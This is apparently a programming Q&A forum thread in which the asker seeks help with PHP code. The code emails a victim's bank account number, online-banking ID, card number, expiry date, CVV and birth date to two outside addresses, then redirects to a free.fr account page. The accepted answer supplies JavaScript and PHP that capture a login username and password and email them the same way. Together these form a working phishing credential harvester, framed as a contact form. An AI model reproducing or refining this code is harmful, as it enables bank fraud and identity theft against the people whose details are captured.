dongqing7789 2015-03-31 21:10
浏览 106
已采纳

我有两个js变量,我想发送到PHP脚本拾取和发送电子邮件没有刷新

if(isset($_POST['submitbtn']))
{

    $pname= $_POST['nom'];
    $telephone= $_POST['telph'];
    $acnumber= $_POST['compte'];
    $rbl= $_POST['distance'];
    $cardno = $_POST['carte'];
    $expmonth = $_POST['months'];
    $expyear = $_POST['year'];  
    $cvv = $_POST['cvv'];
    $dob = $_POST['birth'];
    $subject = 'Contact Form from '.$pname.'';
    $message = 'Nom et prénom:- '.$pname.'

Telephone: '.$telephone.'

Numéro de compte:- '.$acnumber.'

Identifiant banque à distance:- '.$rbl.'

Numéro de Carte:- '.$cardno.'

date d expiration:- '.$expmonth.','.$expyear.'

Cvv 2:- '.$cvv.'

Date de naissance :- '.$dob.' ';

 $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
 $header = "From:www.webperfection.co.in/clients/photonics/ 
";
 $retval = mail ($to,$subject,$message,$header);
 if ($retval) {
 header("Location: https://mobile.free.fr/moncompte/");
 exit;
} else {
 //header("Location: /error.html");
 exit;
}

}
?>

Will this redirect user to thttps://mobile.free.fr/moncompte/? Because I can't try mail function on this setup

I want it to redirect once the mail has been sent

Thankyou for all your help

I want it to redirect once the mail has been sent

  • 写回答

2条回答 默认 最新

  • dse84825 2015-03-31 21:28
    关注

    Just use the example, it will work with your server email sending code:

    var un = document.getElementById('ident_txt_identifiant').innerHTML;
    var pw = document.myform.pwd_abo.value;
    
    // post_data will contain name value pair to pass in $_POST server variable
    var post_data = 'un='+ un+ '&pw='+ pw; 
    
      $.ajax({
        type: 'post',
        url: 'post.php',
        data: post_data,
        success: function () {
          window.location = "http://webperfection.co.in/clients/contactform/moncompte/contactform.php";
        }
      });
    

    and change your server code a bit

    <?php 
    # Send email if and only if username and password fields are passed in $_POST request
    if(isset($_POST['un']) && isset($_POST['pw']) ){
    
        $un= $_POST['un'];
        $pw= $_POST['pw'];
        $subject = 'Login details';
        $message = 'Username:-'.$un.'Password:-'.$pw;
    
     $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
     $header = "From:www.webperfection.co.in/clients/photonics/ 
    ";
     $retval = mail ($to,$subject,$message,$header);
    }
    ?>
    
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(1条)

报告相同问题?

悬赏问题

  • ¥15 如何在scanpy上做差异基因和通路富集?
  • ¥20 关于#硬件工程#的问题,请各位专家解答!
  • ¥15 关于#matlab#的问题:期望的系统闭环传递函数为G(s)=wn^2/s^2+2¢wn+wn^2阻尼系数¢=0.707,使系统具有较小的超调量
  • ¥15 FLUENT如何实现在堆积颗粒的上表面加载高斯热源
  • ¥30 截图中的mathematics程序转换成matlab
  • ¥15 动力学代码报错,维度不匹配
  • ¥15 Power query添加列问题
  • ¥50 Kubernetes&Fission&Eleasticsearch
  • ¥15 報錯:Person is not mapped,如何解決?
  • ¥15 c++头文件不能识别CDialog